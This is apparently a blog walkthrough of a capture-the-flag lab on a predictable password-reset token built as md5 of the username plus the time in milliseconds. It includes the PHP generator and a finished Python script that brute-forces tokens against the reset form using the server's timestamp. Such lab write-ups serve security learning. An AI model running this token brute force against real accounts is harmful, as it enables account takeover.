Predictable Reset Token

Alright nerds I’ve seen a lot of people struggling. Even so, don’t just copy what I did, actually attempt it and use this if you get proper stuck. Cheating is cringe

<?php
function generate_reset_token($username) {
  $time = intval(microtime(true) * 1000);
  $token = md5($username . $time);
  return $token;
}

Read this token generator and notice that the token is generated by taking the md5 hash of the username concatenated to time in milliseconds. So it takes USERNAME and EPOCH TIME and writes it as USERNAMEEPOCHTIME before hashing it. The order that you put the username & time in the code matters.

Go on burpsuite and make the request, then take the server time from the request header. You’ve gotta do this right because you might not be in the same timezone as the server, etc, etc.

Go on here and grab the time from the request header https://www.epochconverter.com/ in milliseconds.

Now look at the python script and notice that you’ve got to edit it a bit.

from hashlib import md5
import requests
from sys import exit
from time import time

url = "http://127.0.0.1/reset_token_time.php"

# to have a wide window try to bruteforce starting from 120seconds ago
now        = int(time()) #change this to the epoch time you just grabbed
start_time = now - 120 # this needs changing because if we're operating in epoch time, 120 is suddenly 120 milliseconds, but the pin is generated in +- 1 second. Change this to 1000!
fail_text  = "Wrong token"
# you need to define the username variable
# loop from start_time to now. + 1 is needed because of how range() works
for x in range(start_time, now + 1): # this needs changing too, because of the epoch time change.
    # get token md5
    md5_token = md5(str(x).encode()).hexdigest() #you've got to add the username in here before the epoch time
    data = {
        "submit": "check",
        "token": md5_token
    }

    print("checking {} {}".format(str(x), md5_token))

    # send the request
    res = requests.post(url, data=data)

    # response text check
    if not fail_text in res.text:
        print(res.text)
        print("[*] Congratulations! raw reply printed before")
        exit()

If everything goes well, your code should look like this!

from hashlib import md5
import requests
from sys import exit
from time import time

url = "http://X/question1/"

# to have a wide window try to bruteforce starting from 120seconds ago
now        =  EPOCH TIME IN MILLISECONDS
start_time = now - 1000
fail_text  = "Wrong token"

username = "htbadmin"
# loop from start_time to now. + 1 is needed because of how range() works
for x in range(start_time, now + 1000):
    # get token md5
    md5_token = md5((username + str(x)).encode()).hexdigest()
    data = {
        "submit": "check",
        "token": md5_token
    }

    print("checking {} {}".format(str(x), md5_token))

    # send the request
    res = requests.post(url, data=data)

    # response text check
    if not fail_text in res.text:
        print(res.text)
        print("[*] Congratulations! raw reply printed before")
        exit()

Don’t be cringe! Only use this if ur stuck and think twice about stealing code written by a silly little illustrator with no experience, okay?


Comments

One response to “Predictable Reset Token”

  1. Cool!
    I didnt get it, why my code not works.
    forgot about +1000

Leave a Reply

Your email address will not be published. Required fields are marked *